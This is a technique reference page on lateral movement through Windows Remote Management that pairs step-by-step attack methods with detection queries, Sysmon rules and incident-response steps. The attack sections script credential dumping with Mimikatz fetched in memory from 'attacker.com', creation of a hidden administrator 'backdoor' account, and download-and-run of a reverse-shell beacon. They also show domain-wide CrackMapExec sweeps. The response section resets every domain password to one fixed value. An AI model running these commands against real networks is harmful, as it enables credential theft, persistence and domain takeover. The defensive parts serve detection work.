MCADDF

[LM-REMOTE-004]: Windows Remote Management (WinRM)

Metadata

Attribute Details
Technique ID LM-REMOTE-004
MITRE ATT&CK v18.1 T1021.006
Tactic Lateral Movement
Platforms Windows Endpoint
Severity High
CVE N/A (Inherent Windows functionality; vulnerabilities: CVE-2012-3458, CVE-2021-28440)
Technique Status ACTIVE
Last Verified 2026-01-10
Affected Versions Windows Server 2012-2025, Windows 8.1+
Patched In N/A - Feature not removed; mitigations via policy
Author SERVTEPArtur Pchelnikau

1. EXECUTIVE SUMMARY

Concept: Windows Remote Management (WinRM) is a Microsoft implementation of the WS-Management protocol enabling remote command execution and script execution across Windows systems. Attackers with valid domain credentials can execute arbitrary PowerShell commands remotely on target systems via WinRM, bypassing traditional firewall boundaries and leaving minimal disk artifacts. WinRM is privileged lateral movement vector because: (1) It’s enabled by default on Windows Server 2012+ via Group Policy, (2) PowerShell execution via WinRM is difficult to detect, (3) It’s trusted by enterprise security teams as administrative infrastructure, and (4) It integrates seamlessly with Active Directory for authentication.

Attack Surface: WinRM protocol (HTTP/HTTPS over ports 5985/5986), PowerShell Remoting (PSRemoting), WS-Management protocol, SOAP/XML message queue, Active Directory credentials, WinRM session management.

Business Impact: Critical—Remote PowerShell execution across domain. An attacker with domain credentials can: (1) Execute arbitrary PowerShell scripts remotely (in-memory, minimal artifacts), (2) Dump credentials from remote systems via WinRM + Mimikatz, (3) Establish persistent backdoors via scheduled tasks or WinRM session manipulation, (4) Exfiltrate data via PowerShell OneNote/Teams commands, and (5) Move laterally across the entire domain with script execution.

Technical Context: WinRM execution is near-instantaneous and leaves minimal artifacts on disk (execution is purely in-memory within PowerShell.exe context). Detection relies heavily on: (1) WinRM session auditing (Event ID 91, 92 - rarely enabled), (2) PowerShell Script Block Logging (requires registry modification), and (3) EDR/endpoint monitoring. Many organizations have zero visibility into WinRM lateral movement.

Operational Risk

Compliance Mappings

Framework Control / ID Description
CIS Benchmark CIS 18.9.85.1 Disable WinRM on non-server systems; enable auditing
DISA STIG WN10-CC-000255 Disable PowerShell Remoting on non-server workstations
NIST 800-53 AC-6 (Least Privilege), AU-2 (Audit Events), SI-4 (System Monitoring) Restrict WinRM access; enable comprehensive auditing
GDPR Art. 32 Security of Processing—WinRM activity must be logged and monitored
NIS2 Art. 21 Cyber Risk Management—monitor and restrict remote code execution
ISO 27001 A.6.2 (Access to Networks), A.12.4.1 (Event Logging) Restrict WinRM to authorized admins; audit all usage
ISO 27005 Risk Scenario: “Unauthorized Remote Script Execution via WinRM” Detect and contain WinRM-based lateral movement

2. TECHNICAL PREREQUISITES

Supported Versions:

Tools Required:


3. DETAILED EXECUTION METHODS

METHOD 1: Native PowerShell Remoting (Invoke-Command)

Supported Versions: Windows Server 2012-2025, PowerShell 3.0+

Step 1: Verify WinRM is Enabled on Target

Objective: Confirm WinRM is listening and accessible.

Command (PowerShell - from compromised system):

# Test WinRM connectivity
Test-WSMan -ComputerName target.local

# Expected output: WSManFault
# If error: "WinRM service is not responding", WinRM is disabled or inaccessible

Expected Output (If WinRM is enabled):

wsmid           : http://schemas.dmtf.org/wbem/wscim/1/common
ProtocolVersion : http://schemas.dmtf.org/wbem/wscim/1/protocol
ProductVendor   : Microsoft Corporation
ProductVersion  : OS: 10.0.19041 SP: 0.0 Stack: 3.0

Expected Output (If WinRM is disabled):

Test-WSMan : <f:WSManFault xmlns:f="http://schemas.dmtf.org/wbem/wscim/1/fault">
The WinRM service is not responding.

What This Means:

Step 2: Execute Command via Invoke-Command

Objective: Execute arbitrary PowerShell command on remote system.

Command (PowerShell):

# Define credentials
$Username = "DOMAIN\user"
$Password = "Password123!" | ConvertTo-SecureString -AsPlainText -Force
$Credential = New-Object System.Management.Automation.PSCredential($Username, $Password)

# Execute command on remote system
Invoke-Command -ComputerName target.local -Credential $Credential -ScriptBlock {whoami}

# Alternative: Interactive session
$Session = New-PSSession -ComputerName target.local -Credential $Credential
Invoke-Command -Session $Session -ScriptBlock {Get-LocalUser; Get-NetIPAddress}

Expected Output:

DOMAIN\system

WARNING: For security reasons, the host key of the remote computer should be verified
before first use.

DOMAIN\system

What This Means:

OpSec & Evasion:

Step 3: Execute Malicious Script (Credential Dumping via Mimikatz)

Objective: Execute Mimikatz remotely to dump credentials from target system.

Command (PowerShell):

# Download Mimikatz payload in-memory
$Payload = (New-Object System.Net.WebClient).DownloadString("http://attacker.com/mimikatz.ps1")

# Execute via Invoke-Command
Invoke-Command -ComputerName target.local -Credential $Credential -ScriptBlock {
    $Payload | IEX  # IEX = Invoke-Expression; execute downloaded payload
}

# Alternative: Execute local Mimikatz binary
Invoke-Command -ComputerName target.local -Credential $Credential -ScriptBlock {
    &"C:\Windows\Temp\mimikatz.exe" 'privilege::debug' 'sekurlsa::logonpasswords'
}

Expected Output:

Mimikatz output (hashes, plaintext passwords, tickets, etc.)

What This Means:


METHOD 2: Evil-WinRM (Linux-based Attack)

Supported Versions: Windows Server 2012-2025 (attacked from Linux)

Step 1: Install Evil-WinRM

Objective: Prepare Linux-based WinRM exploitation framework.

Command (Linux - Ubuntu/Debian):

# Clone Evil-WinRM repository
git clone https://github.com/Hackplayers/evil-winrm.git
cd evil-winrm

# Install Ruby dependencies
sudo apt-get install ruby-full ruby-dev
gem install evil-winrm

# Verify installation
evil-winrm --version

Expected Output:

EVIL-WinRM 4.3.1

What This Means:

Step 2: Establish WinRM Session via Evil-WinRM

Objective: Create authenticated WinRM session to Windows target.

Command (Linux):

# Connect to target WinRM
evil-winrm -i 192.168.1.10 -u DOMAIN\\user -p Password123!

# With Kerberos ticket (if compromised AD user)
evil-winrm -i 192.168.1.10 -u DOMAIN\\user --kerberos

# Specify realm/domain
evil-winrm -i 192.168.1.10 -u user -p password -d DOMAIN

# Custom WinRM port (e.g., 5986 for HTTPS)
evil-winrm -i 192.168.1.10 -u DOMAIN\\user -p Password123! -s /path/to/cert.pem

Expected Output:

[*] Evil-WinRM (4.3.1)
[*] User: DOMAIN\user
[*] Target IP: 192.168.1.10
[*] Port: 5985
[+] Logged in successfully!
*Evil-WinRM* PS >

What This Means:

Step 3: Execute Remote Script via Evil-WinRM

Objective: Run Mimikatz or other payload via WinRM session.

Command (Evil-WinRM prompt):

# Once connected via evil-winrm, execute commands interactively
PS > whoami
DOMAIN\system

PS > Get-LocalUser
Administrator
Guest
DefaultAccount

PS > New-LocalUser -Name backdoor -Password (ConvertTo-SecureString "Secure123!" -AsPlainText -Force) -Description "Backdoor Account"
# Creates new user account for persistence

PS > Add-LocalGroupMember -Group "Administrators" -Member "backdoor"
# Adds user to admin group

PS > Invoke-WebRequest -Uri "http://attacker.com/beacon.exe" -OutFile "C:\Windows\Temp\beacon.exe"
PS > & "C:\Windows\Temp\beacon.exe"
# Downloads and executes reverse shell

Expected Output:

backdoor user created
Group membership updated
Beacon connection established

What This Means:


METHOD 3: CrackMapExec (Automated WinRM Lateral Movement)

Supported Versions: Windows Server 2012-2025

Step 1: Enumerate WinRM-Enabled Systems

Objective: Identify targets with WinRM enabled and accessible.

Command (Linux):

# Enumerate WinRM services on network
cme winrm 192.168.1.0/24 -u user -p password -d DOMAIN --shares

# Or scan for WinRM port (5985/5986)
nmap -p 5985,5986 192.168.1.0/24 -v

Expected Output:

WINRM       192.168.1.10    5985     SERVER01         [*] Windows Server 2019 Enterprise (build:17763)
WINRM       192.168.1.10    5985     SERVER01         [+] DOMAIN\user (Pwn3d!)

What This Means:

Step 2: Execute Commands via WinRM

Objective: Execute PowerShell commands across all WinRM-enabled targets.

Command (Linux):

# Execute whoami on all targets
cme winrm 192.168.1.0/24 -u user -p password -d DOMAIN -x 'whoami'

# Execute Mimikatz dump
cme winrm 192.168.1.0/24 -u user -p password -d DOMAIN -x 'Invoke-Expression (New-Object Net.WebClient).DownloadString("http://attacker.com/Invoke-Mimikatz.ps1")'

# Execute with specific script
cme winrm 192.168.1.10 -u user -p password -d DOMAIN -x 'Get-ADUser -Filter * -Properties *'

Expected Output:

WINRM       192.168.1.10    5985     SERVER01         [+] Executed command
domain\system

What This Means:


4. TOOLS & COMMANDS REFERENCE

Invoke-Command (Native PowerShell)

Documentation: Microsoft Learn - Invoke-Command

Usage:

# Simple command execution
Invoke-Command -ComputerName target.local -ScriptBlock {whoami}

# With credentials
$Credential = Get-Credential
Invoke-Command -ComputerName target.local -Credential $Credential -ScriptBlock {whoami}

# Multiple targets
Invoke-Command -ComputerName server1, server2, server3 -ScriptBlock {whoami}

# With script file
Invoke-Command -ComputerName target.local -FilePath C:\script.ps1

# With arguments
Invoke-Command -ComputerName target.local -ScriptBlock {param($username) Get-ADUser $username} -ArgumentList "admin"

# Session-based (persistent)
$Session = New-PSSession -ComputerName target.local
Invoke-Command -Session $Session -ScriptBlock {whoami}

Evil-WinRM

Repository: GitHub - Hackplayers/evil-winrm

Installation (Linux):

gem install evil-winrm
# Or from source
git clone https://github.com/Hackplayers/evil-winrm.git
cd evil-winrm
gem install bundler
bundle install

Usage:

# Basic connection
evil-winrm -i 192.168.1.10 -u user -p password -d DOMAIN

# With certificate (HTTPS)
evil-winrm -i 192.168.1.10 -u user -p password -d DOMAIN -S

# Specify certificate file
evil-winrm -i 192.168.1.10 -u user -p password -c /path/to/cert.pem -k /path/to/key.pem

# With Kerberos ticket
evil-winrm -i 192.168.1.10 --kerberos

# Upload files
upload /local/file C:\remote\file

# Download files
download C:\remote\file /local/file

CrackMapExec WinRM Module

Repository: GitHub - byt3bl33d3r/CrackMapExec

Usage:

# Enumerate WinRM
cme winrm 192.168.1.0/24 -u user -p password

# Execute command
cme winrm 192.168.1.10 -u user -p password -d DOMAIN -x 'command'

# Execute PowerShell script
cme winrm 192.168.1.10 -u user -p password -x 'powershell -c "IEX(New-Object Net.WebClient).DownloadString(...)"'

# Dump credentials via Mimikatz
cme winrm 192.168.1.10 -u user -p password -x 'powershell -c "IEX(New-Object Net.WebClient).DownloadString(\"http://attacker.com/Invoke-Mimikatz.ps1\"); Invoke-Mimikatz"'

5. WINDOWS EVENT LOG MONITORING

Primary Event IDs:

Event ID Source What It Detects Detection Difficulty
91 Microsoft-Windows-WinRM/Operational WinRM session created Medium
92 Microsoft-Windows-WinRM/Operational WinRM session closed Medium
4688 Security Process creation (powershell.exe) Low
4103 Microsoft-Windows-PowerShell/Operational PowerShell command execution High (requires registry mod)
4104 Microsoft-Windows-PowerShell/Operational PowerShell Script Block Logging High (requires registry mod)
5140 Security Network share access (SMB) Medium

Manual Configuration Steps (Enable WinRM Auditing):

  1. Open Group Policy Management Console (gpmc.msc)
  2. Navigate to Computer ConfigurationPoliciesWindows SettingsSecurity SettingsAdvanced Audit Policy ConfigurationDetailed Tracking
  3. Enable:
    • Audit Process Creation: Success and Failure
  4. Navigate to Audit Policies - Remote Desktop Services:
    • Audit Other Account Logon Events: Success and Failure
  5. Run gpupdate /force

Manual Configuration Steps (Enable PowerShell Script Block Logging):

  1. Group Policy (Server 2012+):
    # Enable via Registry
    New-Item -Path "HKLM:\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging" -Force
    New-ItemProperty -Path "HKLM:\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging" -Name "EnableScriptBlockLogging" -Value 1 -PropertyType DWord
    
  2. Verify:
    Get-EventLog -LogName "Windows PowerShell" | Where-Object {$_.EventID -eq 4104} | Format-Table TimeGenerated, Message
    

Detection Query (WinRM Session Creation):

# Find WinRM sessions
Get-WinEvent -LogName "Microsoft-Windows-WinRM/Operational" -FilterXPath "*[System[EventID=91 or EventID=92]]" | Select-Object TimeCreated, ID, Message | Format-Table

6. MICROSOFT SENTINEL DETECTION

Query 1: Detect Invoke-Command via WinRM Session

Rule Configuration:

KQL Query:

SecurityEvent
| where EventID == 4688  // Process creation
| where Process has_any ("powershell.exe", "pwsh.exe")
| where CommandLine has_any ("Invoke-Command", "New-PSSession", "Enter-PSSession")
| where CommandLine has_any ("ComputerName", "-i ", "target")
| summarize Count=count() by Computer, Account, Process, CommandLine
| where Count > 0
| project Computer, Account, Process, CommandLine

What This Detects:

Manual Configuration Steps (Azure Portal):

  1. Navigate to Azure PortalMicrosoft SentinelAnalytics+ CreateScheduled query rule
  2. General Tab:
    • Name: WinRM Remote Command Execution
    • Severity: High
  3. Set rule logic Tab:
    • Paste KQL query
    • Run query every: 10 minutes
    • Lookup data: 30 minutes
  4. Incident settings Tab:
    • Enable Create incidents
  5. Click Review + create

Query 2: Detect WinRM Service Activity (Event ID 91/92)

Rule Configuration:

KQL Query:

Event
| where Source == "Microsoft-Windows-WinRM" and (EventID == 91 or EventID == 92)
| summarize SessionCount=count() by Computer, UserName
| where SessionCount > 10  // Threshold for potential sweep
| project Computer, UserName, SessionCount

What This Detects:


7. SYSMON DETECTION PATTERNS

Minimum Sysmon Version: 13.0+

Config Snippet:

<!-- Detect WinRM/PowerShell Remoting lateral movement -->
<RuleGroup name="WinRM Lateral Movement" groupRelation="or">
  <!-- Detect PowerShell with remote session parameters -->
  <ProcessCreate onmatch="include">
    <Image condition="contains">powershell.exe</Image>
    <CommandLine condition="contains any">Invoke-Command, New-PSSession, Enter-PSSession</CommandLine>
  </ProcessCreate>

  <!-- Detect WinRM service spawning PowerShell -->
  <ProcessCreate onmatch="include">
    <ParentImage condition="contains">svchost.exe</ParentImage>
    <ParentCommandLine condition="contains">WinRM</ParentCommandLine>
    <Image condition="contains">powershell.exe</Image>
  </ProcessCreate>

  <!-- Detect evil-winrm or similar tools -->
  <ProcessCreate onmatch="include">
    <Image condition="contains any">evil-winrm, winrm-ps</Image>
  </ProcessCreate>

  <!-- Detect network connections to WinRM ports -->
  <NetworkConnect onmatch="include">
    <DestinationPort>5985</DestinationPort>
    <DestinationPort>5986</DestinationPort>
  </NetworkConnect>
</RuleGroup>

Manual Configuration Steps:

  1. Download Sysmon from Microsoft Sysinternals
  2. Create sysmon-winrm-config.xml with config above
  3. Install Sysmon:
    sysmon64.exe -accepteula -i sysmon-winrm-config.xml
    
  4. Verify WinRM-related events:
    Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" | Where-Object {$_.Message -match "powershell|WinRM"} | Select-Object TimeCreated, Message | Head -20
    

8. DEFENSIVE MITIGATIONS

Priority 1: CRITICAL

Priority 2: HIGH

Access Control & Policy Hardening


9. DETECTION & INCIDENT RESPONSE

Indicators of Compromise (IOCs)

Forensic Artifacts

Response Procedures

  1. Isolate System:

    Command (PowerShell):

    # Stop WinRM service
    Stop-Service WinRM -Force
    Set-Service WinRM -StartupType Disabled
       
    # Or disconnect from network
    Disable-NetAdapter -Name "Ethernet" -Confirm:$false
    
  2. Collect Evidence:

    Command (PowerShell):

    # Export WinRM operational logs
    wevtutil epl "Microsoft-Windows-WinRM/Operational" C:\Evidence\WinRM.evtx
       
    # Export PowerShell logs
    wevtutil epl "Microsoft-Windows-PowerShell/Operational" C:\Evidence\PowerShell.evtx
       
    # Get WinRM configuration
    Get-WSManInstance -ResourceURI winrm/config | Export-Csv C:\Evidence\WinRM_Config.csv
       
    # List active sessions
    Get-PSSession | Export-Csv C:\Evidence\PSSessions.csv
    
  3. Remediate:

    Command (PowerShell):

    # Kill all PowerShell sessions
    Get-Process powershell | Stop-Process -Force
       
    # Reset WinRM to default configuration
    winrm quickconfig -quiet
       
    # Reset all user passwords
    Get-ADUser -Filter * | Set-ADAccountPassword -NewPassword (ConvertTo-SecureString "NewPassword!" -AsPlainText -Force) -Reset
       
    # Check for persistence
    Get-ScheduledTask | Where-Object {$_.State -eq "Ready"} | Select-Object TaskName, TaskPath, Actions
    

Step Phase Technique Description
1 Reconnaissance [REC-AD-003] PowerView enumeration Enumerate domain systems and administrators
2 Credential Access [CA-DUMP-001] Mimikatz LSASS dump Extract domain admin credentials
3 Lateral Movement [LM-REMOTE-004] WinRM Use credentials to execute PowerShell via WinRM
4 Privilege Escalation [PE-VALID-001] Exchange ACL abuse Escalate to Domain Admin via ACL manipulation
5 Impact [IMPACT-RANSOM-001] Ransomware deployment Deploy ransomware across domain via WinRM

11. REAL-WORLD EXAMPLES

Example 1: APT29/Cozy Bear (State-Sponsored)

Example 2: Wizard Spider / TrickBot (Ransomware Group)

Example 3: FIN7 APT (Retail/Financial Targeting)


12. REFERENCES & SOURCES